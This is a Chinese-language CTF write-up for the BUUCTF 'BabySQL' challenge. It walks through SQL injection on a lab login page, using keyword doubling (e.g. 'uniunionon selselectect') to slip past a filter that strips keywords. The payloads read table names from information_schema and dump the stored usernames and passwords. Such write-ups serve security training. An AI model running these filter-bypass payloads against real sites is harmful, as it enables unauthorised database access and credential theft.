启动靶机,打开环境:
尝试登陆:
因为前两次的题目BUUCTF 极客大挑战 2019 EasySQL和 极客大挑战 2019 LoveSQL均用万能密码登陆成功,再次尝试:
/check.php
?username=admin' or '1'='1
&password=1
/check.php
?username=admin' %23
&password=1
/check.php
?username=admin' order by 3%23
&password=1
根据报错信息,可以判断出屏蔽掉了关键字:or
,所以万能密码登陆失败,尝试双写绕过:
/check.php
?username=admin' oorr '1'='1%23
&password=1
因为存在将关键字置换为空的过滤,全部双写以绕过,查询字段数:
/check.php
?username=admin' uniunionon selselectect 1,2,3,4 %23
&password=1
/check.php
?username=1' uniunionon selselectect 11,22,33 %23
&password=1
/check.php
?username=1' uniunionon selselectect 11,version(),database() %23
&password=1
/check.php
?username=1' uniunionon selselectect 11,22,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23
&password=1
得到两个表名为:b4bsql
和geekuser
,查询第一个表中的内容:
/check.php
?username=1' uniunionon selselectect 11,22,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' %23
&password=1
得到该表中的字段信息,查询username
和password
的内容:
/check.php
?username=1' uniunionon selselectect 11,22,group_concat(concat_ws(0x7e,username,passwoorrd)) frfromom geek.b4bsql %23
&password=1
// 将1和2通过~(十六进制形式)连接
// 类似:username~password
group_concat(concat_ws(0x7e,1,2))
得到flag
,完成题目